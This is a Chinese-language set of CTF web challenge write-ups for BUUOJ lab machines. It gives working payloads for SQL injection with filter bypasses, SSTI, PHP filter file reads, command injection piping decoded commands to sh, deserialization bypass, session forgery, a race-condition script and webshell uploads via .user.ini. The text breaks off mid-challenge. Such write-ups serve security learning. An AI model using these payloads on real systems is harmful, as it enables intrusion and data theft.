buuoj靶机部署

web

强网杯_随便注

inject参数有注入点

1
/?inject=1' (注入) # 

fuzz一下,发现给了黑名单

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

发现有堆叠注入

尝试

1
1';show databases# 

返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
<br><hr>array(1) {
[0]=>
string(11) "ctftraining"
}
<br>array(1) {
[0]=>
string(18) "information_schema"
}
<br>array(1) {
[0]=>
string(5) "mysql"
}
<br>array(1) {
[0]=>
string(18) "performance_schema"
}
<br>array(1) {
[0]=>
string(9) "supersqli"
}
<br>array(1) {
[0]=>
string(4) "test"
}

成功,然后尝试查表

show tables

发现words和1919810931114514(表名)

查列

show columns from words

返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
<br><hr>array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
<br>array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

看到列id 和 data

再查另一个表1919810931114514

1
show columns from `1919810931114514`

注意,如果是数字的话,反引号不可以省略

获得列flag

想要获取列中的数据,需要一个骚操作

1.改表word为其他名字

2.将1919810931114514改成word

3.改flag为data,缺少id就增加一列id

注意,此步要极为谨慎,因为失败一次就没有第二次机会了

本地先试好再拿来用

payload

1
/?inject=1%27%3balter+table+words+rename+to+word123%3balter+table+%601919810931114514%60+rename+to+words%3balter+table+words+add+id+int%3balter+table+words+change+flag+data+varchar(100)%3b%23

读取flag

1
/?inject=1' or 1#

得到flag

1
2
3
4
5
6
array(2) {
[0]=>
string(42) "flag{441d31ba-585c-4643-9ed3-416c9abf2cd3}"
[1]=>
NULL
}

[SUCTF2019]EasySQL

简单fuzz一下,以下字符被ban

1
2
3
4
5
6
7
8
"
&
union
information
or
order
sleep
from

@符号出现了很奇特的现象,暂不知道有没有突破点

尝试了以下容易想到的几种

1
2
3
1';show databases#
1');show databases#
1;show databases#

最后一种出现注入,回显

1
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

再接再励,爆表,show tables,返回

1
Array ( [0] => 1 ) Array ( [0] => Flag )

看来方向找对了

尝试select * from Flag,发现 ‘ Flag ’ 被过滤

1
1;select * /*!fr%6fm*/ /*!Fl%61g*/;#

然后就卡在这里了

看了网上的wp

了解一个系统变量

sql_mode

是一组mysql支持的基本语法及校验规则

pipes_as_concat 将 ||视为字符串的连接操作符而非或运算符

当没有设置set sql_mode=pipes_as_concat时

select 0 || data from word

只返回数字,当设置之后,返回

0asd (data的值是asd)

根据给出正确的flag,就会告诉你的提示,猜测源码

1
select $_GET['query'] || flag from flag

(这也太欺负人了叭。。。)

然后一个预期解

1
select 1;set sql_mode=pipes_as_concat;select 1 || flag from flag

一个非预期

1
*,1

极客大挑战2019EasySQL

一个登陆页面,给出了sql报错,先猜一下sql语句

1
2
3
4
select id from user where username = '' and passwd = ''

select passwd from user where username = ''
然后对比passwd

先尝试第一种可能性

1
username = 'admin/*' and passwd = '*/ or ''='

不成功

考虑

1
username = 'admin' and sleep(5)#'

失败

尝试扫目录,发现了熟悉的429。。。

输入

1
username = admin'      password = 213

出现报错

发现数据库是MariaDB

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '213'' at line 1

很有意思,明明是username加的引号,结果却是password多出一个,基于此再尝试构造语句

1
username='admin'' and password='213#'

再次报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '213#'' at line 1

尝试

1
username=admin')   password=123#

暴露出了更多的信息

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')' and password='213#'' at line 1

目前可以知道的是,应该属于第一种情况

尝试一下报错注入

1
2
3
username=admin'and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);/*

password=*/#

成功,回显

1
Duplicate entry 'root@localhost1' for key 'group_key'

爆库

1
2
3
username=admin'and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a);/*

password=*/#

回显

1
Duplicate entry 'geek1' for key 'group_key'

尝试爆表

1
username=admin'and (selectQ group by x)a);/*

一大堆骚操作后,看wp,直接万能密码登陆

1
2
username=admin'or'1'='1
password=admin'or'1'='1

[极客大挑战 2019]Havefun

没啥好说的,这是签到题吧

payload

1
/?cat=dog

[护网杯 2018]easy_tornado

tornado的简单注入

点击welcome 提示了render

点击hint,提示md5(cookie_secret+md5(filename))

点击flag,提示flag in /fllllllllllllag

观察url

1
/file?filename=/flag.txt&filehash=9379d70ad3a797e13968a3c04519e005

可以发现,只有文件名和hash匹配,才会读取文件

现在我们差的就是cookie_secret了

这里利用了一个tornado的ssti漏洞,随便改一下hash,页面出错

url为

1
http://0a4d1b51-dc94-49c8-9287-df57992c2a05.node3.buuoj.cn/error?msg=Error

尝试后发现这个Error存在ssti漏洞

payload

1
{{handler.settings}}

得到cookie_secret

然后编码读取/fllllllllllllag,就可以得到flag了

[极客大挑战 2019]Secret File

审阅源码

发现隐藏的按钮(只是字体颜色为黑色,在页面按ctrl all就能出现了)

Oh! You found me

点击后,出现

继续点击secret,出现

返回原来的,打开f12,然后点击secret

可以看到这个过程中访问了action.php,然后进行302跳转到了end.php,估计有效信息藏在action.php中,于是找一个不会自动跳转的方式来获得这个

1
curl http://7f6c042c-3aff-4e9d-b3ec-bc9abf08dca5.node3.buuoj.cn/action.php

然后出现

所以要去访问secr3t.php

1
http://7f6c042c-3aff-4e9d-b3ec-bc9abf08dca5.node3.buuoj.cn/secr3t.php

得到了题目给出的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

strstr和stristr都是查找子串的功能,所以file变量不能包括../ tp input data

并且读取到flag.php

看了一下,直接上php伪协议就行

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

[RoarCTF 2019]Easy Calc

打开后是个计算器,直接看源码,提示

1
<!--I've set up WAF to ensure security.-->

查看下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})

访问看看calc.php是啥,得到waf源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

尝试了一下,发现num一填字母就出错,估计是前端服务器还有一个waf

由于前端服务器和后端php解析器的差异,可以这样绕过

1
/? name=123

这样多了一个空格后,前端服务器就找不到name这个变量,无法进行waf,而后端的php解析器会自动去除空格,然后我们利用scandir等函数,就能拿到flag

payload

1
/calc.php?+num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

(这是burp里的,空格记得urlencode转换成加号)

[极客大挑战 2019]LoveSQL

和之前的EasySQL一样的注入点,只不过现在登陆后不能直接获得flag,flag应该藏在表里

order by测列数

1
2
3
admin' order by 3/*

*/#

发现是3列,然后union select注入就好了

1
2
3
4
数据库   geek
表 geekuser l0ve1ysq1
两张表的列名都是 id,username,password
在第二张表的password字段找到flag

[ACTF2020 新生赛]Include

打开网页,有一个tips,打开,里面是

1
Can you find out the flag?

url为

1
http://2904e415-19ba-434a-85c3-9548bf8cae5a.node3.buuoj.cn/?file=flag.php

直接php伪协议查看flag.php文件源码,然后base64解密得到flag

payload

1
http://2904e415-19ba-434a-85c3-9548bf8cae5a.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

[GXYCTF2019]Ping Ping Ping

一个ping ip的接口,尝试命令堆叠注入,cat flag 发现有过滤,fuzz一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'
"
)
{
}
[
]
&
flag
空格
换行符
/
*
?

先ls一波看看目录

1
2
3
4
5
127.0.0.1;ls
#返回
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

cat$IFS$1index.php看一波源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

用base64绕过

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

[极客大挑战 2019]Knife

不说了,白给题,直接蚁剑直接连就好了

[极客大挑战 2019]PHP

提示有备份文件,访问/www.zip得到源码

打开flag.php得到一个flag,提交后发现是一个假flag,再去看看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>







<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>

看到存在一个反序列化接口,并且include了class.php,看一下class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

看来想要改用户名,必须绕过wakeup方法,百度了一下,有

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

尝试进行绕过

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

注:保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀,如Name类的username表示为\0Name\0username。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。若不用脚本,直接在浏览器地址栏中填,就要把\0改为%00

[ACTF2020 新生赛]Exec

又是一道shell

尝试

1
127.0.0.1;ls

成功列出目录

1
index.php

尝试cat index.php 获得内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>command execution</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />


</head>
<body>

<h1>PING</h1>
<form class="form-inline" method="post">

<div class="input-group">
<input style="width:280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target">
</div>
<br/>
<br/>

<button style="width:280px;" class="btn btn-default">PING</button>


</form>
<br /><pre>
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
</pre></body>
</html></pre></body>
</html>

没有过滤,直接shell

cat /flag

拿到flag

[HCTF 2018]admin

index.php注释中看到

1
<!-- you are not admin -->

看来要想办法成为admin,先观察一下网站

中间有一个hctf,点击后是404页面,url是/posts,看来要开启admin权限才能访问

右侧有登陆和注册按钮,尝试能否重复注册admin,失败

尝试普通用户注册进去有没有什么功能,发现没有,但是首页回显了姓名,不知道用户名能不能注入

看看cookie有没有什么异常,session特别长,估计藏了什么

1
.eJw9kEtrwzAQhP9K2XMOtpxcAjm4yOkDdo2NHLG-mLT1S7JSiBvSKOS_V4QS5jIwy7c7e4WmO7bzAOtuP83tAprxC9ZXePqANeTSJqizFXkaWRRLktbXhhOSVUymj_GFz6zLIfgzSrtkla1QZgnr3YAq9WTKEWUfk6AhV8-WdPEb5gRrcmTSmGTmc82eXBWRqESucUUGI3aBKbaWVXoht5tY2aTWmKArA2M7kA_7xXbicAuat2VgbuC2gM_52DU_37Y9PCqweB_Q1RPKnUNZRKyrM6rSsaEgG7z1HCrWphBo0kutSoPp5o4b3b5vHyT1OiXVf3LYuxBAf-qCYAGnuT3eHwdxBLc_d4tsDw.X19VUg.3xtCHRQbykzFcQSy0J3Rd-1nldk

发现可以更改密码,查看页面源码发现有给网站源码

下载来的源码中的config.php给了secret,岂不美哉,赶紧解码看看session里面有什么

1
{'_fresh': False, '_id': b'8971a973bcd8493f674556850f0ada680098a19017aea10364b0857ca90d5d1096acf6054139f36e47e69c9634bda7ada026eea97ec72dd5aa7557aeb6722809', 'csrf_token': b'cba2fe05f044ae014fb3c690193aa9f46202e4c0', 'image': b'LywP', 'name': 'gufufu', 'user_id': '10'}

结合一下index.html里面找到的判断语句

1
{% if current_user.is_authenticated and session['name'] == 'admin' %}

改一下name为admin,然后提交

得到flag

1
flag{902a1e16-3ff2-4561-a312-203f1f32c047}

看了网上的wp,又发现了两种解法

1.Unicode绕过

在注册、登陆以及改密中,都可以看到这一句

1
name = strlower(form.username.data)

但是python已经有了一个内置函数lower来转小写,为什么还用strlower呢,跟进一下,看一看有没有什么不同

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

这里用的nodeprep.prepare函数,而nodeprep是从Twisted模块导入的,在requirements.txt文件中发现Twisted==10.2.0,而官网最新已经到了19.7.0(2019/9),版本差距很大,应该会存在漏洞。

关于具体编码可查 https://unicode-table.com/en/search/?q=small+capital ,当然你也可以复制过后用站长工具转换成Unicode编码。

然后我们发现在使用nodeprep.prepare函数转换时过程如下:

1
ᴬᴰᴹᴵᴺ -> ADMIN -> admin

假如我们注册ᴬᴰᴹᴵᴺ用户,然后在用ᴬᴰᴹᴵᴺ用户登录,因为在login函数里使用了一次nodeprep.prepare函数,因此我们登录上去看到的用户名为ADMIN,此时我们再修改密码,又调用了一次nodeprep.prepare函数将name转换为admin,然后我们就可以改掉admin的密码,最后利用admin账号登录即可拿到flag。

2.条件竞争

这个漏洞应该是属于代码逻辑上的漏洞

在session赋值时,登录、注册都是直接进行赋值,未进行安全验证,也就可能存在以下一种可能:
我们注册一个用户test,现在有一个进程1一直重复进行登录、改密码操作,进程2一直注销,且以admin用户和进程1所改的密码进行登录,是不是有可能当进程1进行到改密码操作时,进程2恰好注销且要进行登录,此时进程1改密码需要一个session,而进程2刚好将session[‘name’]赋值为admin,然后进程1调用此session修改密码,即修改了admin的密码。

不过从理论上来讲应该是能够改掉admin的密码的,可是在实际测试并没有成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import threading

def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)

def logout(s):
return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")

def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)

def func1(s):
login(s, 'test', 'test')
change(s, 'test')

def func2(s):
logout(s)
res = login(s, 'admin', 'test')
if 'flag' in res.text:
print('finish')

def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()

if __name__ == "__main__":
main()

此题额外解法参考https://blog.csdn.net/weixin_44677409/article/details/100733581

[极客大挑战 2019]Http

搜集信息

1
2
PHP/5.3.3
Apache/2.2.15 (CentOS)

里面有一个招新群,qq搜一下

woc这人数不科学,怎么做到的,加群试试,发现群已满

发现图片引用直接引用本地images目录下的图片,尝试能不能直接访问images目录

成功,尝试有没有机会目录穿越访问/etc/passwd,失败

看看github有没有类似的网站,说不定能直接根据目录结构作为突破点解题,还是没找到

看了一下header,也没发现可疑cookie,看来就一个images目录这个突破点

(补充一下,显示目录索引这个功能是apache配置导致的,Apache配置文件httpd.con中Options 为Indexes就是允许目录列表显示),没啥思路,查一波wp

看了wp,才发现这里藏了东西,看来下次还得再仔细

1
2
3
4
5
6
7
<section id="two" class="wrapper alt style2">
<section class="spotlight">
<div class="image"><img src="images/pic01.jpg" alt="" /></div><div class="content">
<h2>小组简介</h2>
<p>·成立时间:2005年3月<br /><br />
·研究领域:渗透测试、逆向工程、密码学、IoT硬件安全、移动安全、安全编程、二进制漏洞挖掘利用等安全技术<br /><br />
·小组的愿望:致力于成为国内实力强劲和拥有广泛影响力的安全研究团队,为广大的在校同学营造一个良好的信息安全技术<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a></p>

有个Secret.php,访问看看,提示It doesn’t come from ‘https://www.Sycsecret.com'

伪造一波Referer试试,成功,

又提示Please use “Syclover” browser,再改一波User-Agent,成功,

又提示No!!! you can only read this locally!!!,那就xff一波试试,拿到flag

payload

1
2
3
4
5
6
7
8
9
10
11
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:29966
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
Referer: https://www.Sycsecret.com

[极客大挑战 2019]BabySQL

又是sql…

直接一波万能密码试试看

1
2
admin'#
123

成功登录

1
2
3
4
5
Login Success!

Hello admin!

Your password is 'd4ddba2df0e04a61a9ab2269444343f9'

显然flag不在这里,看看能不能爆个库

看看表有几列

1
admin' order by 1#

回显

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 1#' and password='-- 123'' at line 1

看来or 和by都被过滤掉了,不过这种直接去掉的过滤没啥用,直接绕过

1
admin' oorrder bbyy 1#

成功登录,看来绕成功了,然后测试下,发现是3列,试试联合注入

1
ad' union select 1,2,3#

回显

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1,2,3#' and password='-- 123'' at line 1

发现union 和select被过滤了,像之前那样绕一波试试,成功

1
ad' ununionion seselectlect 1,2,3#

回显

1
2
3
4
5
Login Success!

Hello 2

Your password is '3'

那就简单了,直接

爆库名

1
ad' ununionion seselectlect 1,database(),3#

geek

爆表名

1
ad' ununionion seselectlect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3#

b4bsql,geekuser

爆列名

b4bsql

id,username,password

先查password

1
ad' ununionion seselectlect 1,(selselectect group_concat(password) frofromm b4bsql),3#

拿到flag

[SUCTF 2019]CheckIn

题目给了源码,先下载来看一看

源码中发现flag,提交看看,不对,还得认真审计一波

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>

<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) { //文件.的后缀不能包含ph 或者 htacess
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) { //内容中不能包含<?
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name); //可判断文件类型,若不是图像类型,就炸了
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name; //存在/md5()/文件名
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>'; //给出路径
echo 'Your files : <br>'; //给文件名
var_dump(scandir($userdir)); //扫路径
}

发现$userdir不可控,应该无法目录遍历,就是一道正经的文件上传题

看了一下服务器是nginx 1.10.3,似乎版本较高,不存在解析漏洞。

我们先随便上传一个文件看看,发现会列出上传目录下的所有文件,发现有一个index.php结合源码,可以看出那是一个空的php,等等有大用

题目的github源码中的writerup提示了一个.user.ini

再去查一下.user.ini有没有可利用的地方

先看看官方说明

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置,与.htaccess起到同样的效果

经过搜索,看到了一些有意思的变量

auto_prepend_file

在php文件开始包含指定文件

auto_append_file

在php末尾包含指定文件

当文件调用的有exit()时该设置无效)

看来我们可以上传一个.user.ini文件来包含我们上传的另一个文件到index.php里运行,从而getshell

其中有一个函数exif_imagetype,会根据文件头来判断是否为图片类型,这个很好绕,比如加一个最简单的gif的文件头GIF89a

对<?的过滤可以通过以下方法来绕过

1
<script language='php'>phpinfo();</script>

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#.user.ini

POST /index.php HTTP/1.1
Host: 3562b1d1-eaf6-4a7e-a1fb-8ff653445516.node3.buuoj.cn
Content-Length: 320
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://3562b1d1-eaf6-4a7e-a1fb-8ff653445516.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1BD916vDZ90e1qG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3562b1d1-eaf6-4a7e-a1fb-8ff653445516.node3.buuoj.cn/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close

------WebKitFormBoundaryv1BD916vDZ90e1qG
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=a.jpg

------WebKitFormBoundaryv1BD916vDZ90e1qG
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryv1BD916vDZ90e1qG--


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#a.jpg


POST /index.php HTTP/1.1
Host: 3562b1d1-eaf6-4a7e-a1fb-8ff653445516.node3.buuoj.cn
Content-Length: 345
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://3562b1d1-eaf6-4a7e-a1fb-8ff653445516.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv1BD916vDZ90e1qG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3562b1d1-eaf6-4a7e-a1fb-8ff653445516.node3.buuoj.cn/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close

------WebKitFormBoundaryv1BD916vDZ90e1qG
Content-Disposition: form-data; name="fileUpload"; filename="a.jpg"
Content-Type: image/png

GIF89a
<script language='php'>system('cat /flag');</script>

------WebKitFormBoundaryv1BD916vDZ90e1qG
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryv1BD916vDZ90e1qG--

然后访问/路径/index.php就可以得到flag了

[极客大挑战 2019]Upload

上传一个空文件,文件名为1.png

提示不是一个图片

加一个gif头

过了,回显文件名1.png

尝试php .htaccess等能不能上传

1
2
3
4
1.php  #NOT!php!
1.pHp #NOT!php!
1.php3334 #正常上传,看来不是ban含有php的字符串
.htaccess #正常上传

访问/upload/

发现找到了上传目录,由于.htaccess没有被ban,所以可以考虑利用.htaccess将其他文件类型当作php解析

试了一下,感觉.htaccess被禁用了

上传一下php的其他文件后缀看看,

php

php3

php4

php5

phtml

pht

试到了phtml,发现可以通过,于是直接通过上传phtml传脚本

直接传一个php后门,然后蚁剑连接即可,<?的拦截可以使用以下方法绕过

1
<script language='php'></script>

BackupFile

这题很简单,猜测一般备份文件的名称来下载文件,比如这题是

1
index.php.bak

下载后审计下代码可以发现key在比较时存在弱类型比较漏洞,

payload

1
http://url/?key=123

即可得到flag

[极客大挑战 2019]BuyFlag

主页没有什么发现

右上角有payflag页面,进去看看

提示

1
2
3
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

抓包,根据提示更改,from CUIT应该是改referer,password的判断在注释里

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

发现是个弱类型比较漏洞,直接password=404qwe 就好,然后改header访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /pay.php HTTP/1.1
Host: 2cc7f575-d809-445a-962a-e022f0804d68.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: CUIT
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Cookie: user=0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

password=404qwer




发现页面没有变化,这是候我注意到了cookie,user=0,改成1试试

1
2
3
4
5
6
7
8
9
10
11
